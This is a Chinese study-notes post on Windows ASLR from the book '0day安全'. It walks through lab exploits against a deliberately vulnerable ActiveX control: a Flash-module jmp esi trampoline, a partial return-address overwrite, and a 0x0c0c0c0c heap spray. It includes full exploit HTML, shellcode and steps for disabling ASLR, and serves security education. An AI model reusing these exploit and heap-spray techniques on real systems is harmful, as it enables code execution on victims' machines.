0day安全 | Chapter 13 在内存中躲猫猫:ASLR

启程

ASLR,即Address Space Layout Randomization。一开始我总是记不住它的全称。同样,Linux上也有ASLR,绕过方式也很多样化。现在我们来看一下Windows上的ASLR。

内存随机化保护机制的原理

XP上的ASLR功能有限:对PEB/TEB进行简单随机处理,但并不去动模块加载基址。从Vista开始,ASLR真正开始发挥作用。它也需要程序和操作系统的双重支持,不过程序的支持不是必需的。

支持ASLR的程序在它的PE头中会设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来说明其支持ASLR。从VS 2005 SP1开始/dynamicbase链接选项被引入来完成对ASLR的支持。

在后面的VS 2008环境中,可以通过如下方式来配置ASLR:

Vista及之后的系统中的ASLR包含:

  • 映像随机化
  • 堆栈随机化
  • PEB/TEB随机化

映像随机化

PE文件在映射到内存时,其加载的虚拟地址被随机化,这个地址是在系统启动时确定的,系统重启后这个地址会变化。

我们以IE为例,用OD加载一次:

我们关闭,再次加载:

可以看到,除了AcLayers.dll/shimeng.dll/AcRedir.dll/iebrshim.dll外其他的模块加载地址都未发生改变。我们暂时先不去管这四个特殊的模块。

重启后,再次加载:

果然各个模块加载地址都发生变化。

当然,如果你的系统没有打开映像随机化开关(为了兼容性设置的),那么这些地址不会变化。你可以通过在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\下建立DWORD型的MoveImages值来设定其工作方式:

  • 0,禁用映像随机化
  • -1,强制对可随机化的映像进行处理,无论是否设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识
  • 其他值,正常工作模式,只对具有随机化处理标识的映像处理

注意观察上面重启前后的对比图可以发现,虽然有了一定的随机化,但是各个模块的入口地址的后两个字节是不变的,随机化的只有前两个字节。如iexplore的入口地址从0x01012D79变为0x00392D79

堆栈随机化

与之前不同的是,堆栈基址在每次打开程序时都会被随机化,所以各变量在内存中的位置也都不确定。

通过如下代码测试:

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
	char *heap = (char *)malloc(100);
	char stack[100];
	printf("Address of heap: %#0.4x\nAddress of stack: %#0.4x", heap, stack);
	free(heap);
	getchar();

	return 0;
}

在XP SP3上的情况:

在Vista SP1上的情况:

ASLR将每个线程的堆栈基址都做了随机化处理。但是自从使用jmp esp跳板后我们很少需要转向精确的shellcode地址;另外浏览器攻击方面很流行的heap spray也不需要精准跳转。

PEB/TEB随机化

从XP SP2起,PEB基址就不再固定于0x7FFDF000,TEB基址也不再固定于0x7FFDE000

TEB位于FS:0FS:[0x18]处,PEB位于TEB偏移0x30处。通过下面的例子来看它们的变化情况(Vista):

#include <stdio.h>

int main(int argc, char* argv[])
{
	unsigned int teb;
	unsigned int peb;
	__asm{
		mov eax, FS:[0x18]
		mov teb, eax
		mov eax, dword ptr [eax + 0x30]
		mov peb, eax
	}
	printf("PEB: %#x\nTEB: %#x", peb, teb);
	getchar();

	return 0;
}

几次下来,可以发现它们的随机化效果并不好:

退一步讲,即使真的做到了完全随机,也还是有其他方法获取当前进程的PEB和TEB。

总结

ASLR加大了exploit的难度。但是也可以看出,这些随机化并不是完美的。

延伸:如何关闭ASLR?

首先,NT 6+内核版本的Windows都默认开启了ASLR。那么怎么查看内核版本呢?在运行中输入winver(命令行输入ver亦可):

关闭的方法:

修改注册表键值[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session  Manager\Memory Management] “MoveImages”dword:00000000。默认情况下如下:

Windows 7下需要使用EMET工具关闭。

攻击未启用ASLR的模块

不支持ASLR的软件有很多。如果能够在当前进程空间中找到这样一个模块,利用其内部的指令做跳板,就可以绕过ASLR。

在IE广泛启用安全机制后的相当一段时间,Flash Player ActiveX并未支持SafeSEH,ASLR等新特性。
Adobe在Flash Player 10以后的版本中开始全面支持微软的安全特性。

综上,本节我们借助Flash Player来绕过ASLR。

我们首先来确认一下Flash是否不支持ASLR。作者使用OllyFindAddr来查看,但我这里OllyFindAddr没有发挥作用:

然后弹出:

日志里却什么都没有。

那么我们只能通过重启系统来检查Flash的加载基址是否固定:

重启前:

重启后:

可以发现,是固定的加载基址。

IE7的DEP也是关闭的:

# 实验环境
OS: Windows Vista SP1
IE: 7.0
Flash Player: 0.262
DEP: Optin
GS: 关闭

又遇到了曾经的问题!这次连ActiveX控件在OD中都看不到,在IE上“管理加载项”也看不到。我推测这里的问题应该和第十二章最后的几个实验遇到的问题相似,将来一起解决。


更新

后来朋友建议使用IE Web Developer去debug一下看看。这个工具的确很好用,不过也没发现问题所在。重启了Vista后,竟然解决了。这可能就是计算机玄学的魅力所在吧。

与以往相同,准备材料如下:

  • 具有溢出漏洞的ActiveX控件

与第十二章的完全相同:

void CVulnerAXCtrl::test(LPCTSTR str)
{
	// AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: 在此添加调度处理程序代码
	printf("aaaa");
	char dest[100];
	sprintf(dest,"%s",str);	
}

注意在regsvr32时以管理员身份进行。

  • 可以触发ActiveX控件中漏洞的PoC页面
<html>  
<body>  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">
  <param name="movie" value="1.swf" />
  <param name="quality" value="high" />
  <embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed>
</object>
<object classid="clsid:18DC4D8E-82EB-4CB7-824B-E6DEC800562A" id="test"></object>  
<script>  
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
s += "\u9090\u9090";
test.test(s);  
</script>  
</body>  
</html>

通过调试,我们可以发现在缓冲区108字节后的四个字节刚好覆盖函数返回地址,所以最直接的思路是在这里放上一个跳板jmp esp,然而在Flash模块中我们并未找到这样的跳板。所以只好在OD中单步到test函数返回前,看看都有哪些寄存器指向栈:

可以发现是EDX/ESI/ESP,由于edx总指向溢出字符串的末尾(即shellcode末尾)那个字节,所以无法使用。esi与esp指向相同。我们尝试在Flash模块中寻找jmp esi,找到两处:

注意,由于esi与esp指向相同,所以在后面这个跳板的地址本身会被当作指令执行。然而第一处跳板的最低字节C7是未知指令(甚至导致了我的反汇编器崩溃),将影响逻辑流,而第二处跳板地址反汇编如下:

基本不影响。但是它会对eax进行操作。而参照之前的调试图片可以发现,eax是00000070,这个地址很明显不可以被写入。所以我们要先将eax指向可写地方。我们可以采用类似于mov eax, edx; ret这样的gadget。经过作者的寻找,选择下图的gadget:

它不影响逻辑流:

因此,最终shellcode如下:

<script>  
    var s = "\u9090";
    while (s.length < 54) {
        s += "\u9090";
    }
    // mov eax, edx retn 8
    s += "\uD286\u1014"
    // nop
    s += "\u9090\u9090"
    // jmp esi
    s += "\uE78A\u1012"
    // nop
    s += "\u9090\u9090";
    // messagebox
    s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
    s += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
    s += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
    s += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
    s += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
    s += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
    s += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
    s += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
    s += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
    s += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
    s += "\uff53\ufc57\uff53\uf857";
    test.test(s);  
</script>  

这里有一个疑问:为什么在jmp esimessagebox之间要加四个nop呢?作者提醒我们注意esp的位置。那么不要这四个nop行不行呢?我测试了下,会导致IE崩溃。

由于mov eax, edx; retn 8最后的retn 8,在jmp esi执行后,esp指向了messagebox中的第二个四字处。但是在jmp esi后还会用到esp吗?

会的。我们回到第三章制作的通用弹窗shellcode,看它开头的汇编指令:

"\xfc"                      CLD ; clear flag DF
    ; store hash
"\x68\x6a\x0a\x38\x1e"      push 0x1e380a6a ; MessageBoxA
"\x68\x63\x89\xd1\x4f"      push 0x4fd18963 ; ExitProcess

很明显,第二条指令就是一个push,然而在push的时候esp指向messagebox中的第二个四字处,所以这个push会影响它后面的那个push指令,导致其被破坏。

因此,我们需要加入nop。

这是一个比较简单的exploit,就不画流程图了。

另外,作者提到不修正eax也是可行的,我们可以在jmp esi前放一个短跳,把它自身带来的干扰指令跳过去即可。把原来用来修改eax的地方直接放一个retn即可。为了不引入新的垃圾指令,且retn的选择范围较大,所以经过反汇编测试,我选了0x10044a58处的。修改以后shellcode如下:

<script>  
    var s = "\u9090";
    while (s.length < 54) {
        s += "\u9090";
    }
    // retn
    s += "\u584a\u1004"
    // short jmp (jmp +0x8)
    s += "\u08eb\u9090"
    // jmp esi
    s += "\uE78A\u1012"
    // nop
    s += "\u9090\u9090";
    // messagebox
    s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
    s += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
    s += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
    s += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
    s += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
    s += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
    s += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
    s += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
    s += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
    s += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
    s += "\uff53\ufc57\uff53\uf857";
    test.test(s);  
</script>  

通过调试可以发现,完美跳过了jmp esi引入的垃圾指令:

所以,这种shellcode的排布方法也是可行的。

测试:

利用部分覆盖定位内存地址

这种攻击方式的可行性依赖于前面提到的“ASLR仅仅对模块加载地址高两字节做随机化”这一前提。MasterMsf 4 渗透模块的移植中的“移植针对TCP客户端漏洞的ExP”一节,原ExP作者就是利用部分覆盖去定位PPR的(只不过那里是去覆盖SEH异常处理函数,而我们这里是覆盖返回地址罢了)。

# 实验环境
OS: Windows Vista SP1
DEP: Optin
优化选项:禁用
DEP选项/NXCOMPAT: NO
GS: 关闭

本次测试代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = 

"\x90\x90..."
;

char *test()
{
	char tt[256];
	memcpy(tt, shellcode, 262);
	return tt;
}

int main()
{
	char temp[200];
	test();
	return 0;
}

经过调试发现偏移量为260。为了仅仅覆盖掉返回地址的低两字节,我们需要将shellcode布置在缓冲区中,而非返回地址后。观察复制完成后的寄存器情况:

eax恰指向缓冲区首。所以我们要在主模块中找到一个jmp eax

我们使用0x1eb4作为覆盖值。

首先要说明的是,上面的测试代码来自原作者,他让test函数返回tt,这样可以保证在ret时eax指向缓冲区首,从而使得我们后面可以去寻找一个eax的跳板来实现跳转。但是其实test函数完全可以写成:

void test()
{
	char tt[256];
	memcpy(tt, shellcode, 262);
}

因为memcpy函数对返回值的定义如下:

The memcpy() function returns the original value of dst.

也就是说memcpy返回后,eax就已经指向缓冲区首,不必通过return tt来实现。当然,作者这样做也有道理。如果仅仅按照我们上面所列的环境条件和build选项去生成漏洞程序,VS 2008会把memcpy函数优化成为test函数内部的一个复制循环结构。这是因为其优化选项默认启用内部函数:

从而导致memcpy被优化为:

可以看到,这样一来就没eax什么事了。所以如果希望test不返回tt就实现目的,需要禁用内部函数。

后面shellcode排布本来应该是非常简单的,但是一个小问题导致我一直没有成功。仔细检查后发现还是很有意思的:

一开始我的shellcode如下:

char shellcode[] = 
// 92 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 2 jmp eax
"\x8e\x14";

然而总是一运行就崩溃。我用OD单步,能够跟进并执行到payload的开头,这说明没有DEP和GS,同时也绕过了ASLR。后来发现payload执行几步后,其自身尾部的指令发生了变化。于是我想到这可能是payload自身压栈操作导致的问题。参考0day安全 Chapter 3 开发shellcode的艺术,这个弹窗payload的开头部分如下:

cld
push 0x1e380a6a ; MessageBoxA
push 0x4fd18963 ; ExitProcess
push 0x0c917432 ; LoadLibraryA
mov esi, esp ; esi = addr of first function's hash
lea edi, [esi - 0xc] ; edi = addr to start writing function
; get some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null (bx is "32")
push ebx
push 0x72657375 ; "user"
push esp ; the pointer
xor edx, edx

这刚好导致payload的尾部一些字节被覆盖掉。其实,我们只需要168字节的payload与其前面92字节的nop调换位置就好,这样将是nop被覆盖,没关系。

最后测试如下:

利用Heap Spray技术定位内存地址

堆喷的原理很简单:将shellcode布置在堆中,然后将控制流劫持到堆去执行shellcode(劫持指覆盖返回地址、SEH处理函数指针、虚函数指针等,根据实际情况选择)。那么劫持到哪里呢?劫持到一个固定的地址,比如0x0c0c0c0c。我们确保这个地址极大概率是通向shellcode的slide。怎么确保呢?我们知道,堆是从低地址向高地址增长的,而0x0c0c0c0c / 1024 / 1024 = 192,所以如果我们能够控制在堆上分配200个1MB的内存块,每一个内存块均用(类)空指令和payload填充,那么一定会覆盖到0x0c0c0c0c(比喻成“喷射”很形象),因此上述攻击方案是可行的。一个payload区区几百字节,只占1MB极小的一部分,所以0x0c0c0c0c这个地址刚好落在payload中间的概率将非常小。这样的攻击方式很明显绕过了ASLR对堆地址的随机化。这种攻击方式可以图解如下:

上述说法其实有一个纰漏:如果ASLR使得堆从高于0x0c0c0c0c的地址开始分配怎么办?这种情况不会发生,至少在我们的实验环境下不会发生。我们可以做一个小测试。编写如下一段HTML:

<html>
  <script>
    var nops = unescape("%u9090%u9090");
	while(nops.length < 0x100000 / 2)
		nops += nops;
	nops = nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - 2);
	nops = unescape("%u8281%u8182") + nops;
	var memory = new Array();
	for(var i = 0; i < 200; i++)
		memory[i] += nops;
  </script>
</html>

用浏览器打开,然后OD附加,使用FindAddr的Custom-Search去根据标识符81828281寻找内存块,记录一下内存块的起始地址。然后重启电脑,再次执行上述操作,观察重启前后内存块起始地址的变化:

重启前:

重启后:

可以发现起始地址均小于0x0c0c0c0c。另外,其地址范围是覆盖了0x0c0c0c0c的:

代码中为什么要对nops做nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - 2);的操作呢?如果只是为了减去unescape("%u8281%u8182")的长度,不是只减去4 / 2就好了吗?为什么使用1MB的内存片呢?参考第六章末尾部分,我们有以下解释:

Javascript在申请内存时会为每个块补充一些额外信息(有点类似于堆溢出时考虑了块首),具体如下:

大小 说明
malloc header 32 bytes 堆块信息
string length 4 bytes 字符串长度
terminator 2 bytes 字符串结束符,是两个字节的NULL

同时,1MB的内存片可以使得相对于payload来说slides足够多,从而使得命中slides的概率足够大,换言之,exploit足够稳定。

综上,我们已经对堆喷的可行性做了充分的理论论证。下面我们做实验。依然是攻击ActiveX控件,控件与本章第一节使用的完全相同,这里就不附源码了。使用的exploit页面源码如下:

<html>  
<body>  
<script>
	var nops = unescape("%u9090%u9090");
	shellcode  = "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
	shellcode += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
	shellcode += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
	shellcode += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
	shellcode += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
	shellcode += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
	shellcode += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
	shellcode += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
	shellcode += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
	shellcode += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
	shellcode += "\uff53\ufc57\uff53\uf857";
	while(nops.length < 0x100000)
		nops += nops;
	nops = nops.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - 2 / 2 - shellcode.length);
	nops += shellcode;
	var memory = new Array();
	for(var i = 0; i < 200; i++)
		memory[i] += nops;
</script>
<object classid="clsid:39F64D5B-74E8-482F-95F4-918E54B1B2C8" id="test"></object>  
<script>
	var s = "\u9090";
	while(s.length < 54)
		s += "\u9090";
	s += "\u0c0c\u0c0c";
	test.test(s);  
</script>  
</body>  
</html>

测试:

最后有一个问题,为什么要劫持到0x0c0c0c0c呢?我试了一下,其实0x0a0a0a0a也是可以的。参考Heap Spray原理浅析0day安全 Chapter 3 开发shellcode的艺术,我有以下思考:

  • 在面对strcat这种形式的溢出漏洞时,形如0xabababab这样的地址成功率更大(见第三章笔记)
  • 在上一点的基础上,所有数值小于200MB的地址都可以(典型就是0x0a0a0a0a/0x0b0b0b0b/0x0c0c0c0c
  • 假如我们要用slides覆盖的是对象的虚表指针,那么用0x90就不太好,因为虚表指针是一个多级指针,所以程序需要到虚表那里再次取地址。如果用0x90则可能造成到0x90909090取地址的情况,这将造成程序崩溃。而0x0C本身是类空指令,所以我们可以用其代替0x90作为slide,同时也把假虚表伪造在0x0c0c0c0c处,这样一来,一举两得

综上,我们选择了0x0c0c0c0c作为通用的劫持目的地址。

利用Java applet heap spray技术定位内存地址

原理与上一节相同,过程与上一节类似。由于与0day安全 Chapter 12 数据与程序的分水岭:DEP环境问题,这里不再进行这个实验。

为.NET控件禁用ASLR

该实验的原理是通过修改PE文件本身,移除IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来达到禁用ASLR的目的。只不过对于.NET控件文件需要多做一些工作,具体的修改如下:

  • 移除IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识
  • 设置其版本号小于2.5

使用的修改工具为CFF Explorer。

同样由于环境问题,该实验不再进行。

总结

本章最大的惊喜应该是堆喷技术了,这算一种漏洞利用思想吧。另外,部分覆盖也挺巧妙的。总之,这一切都像艺术啊。

Per Aspera Ad Astra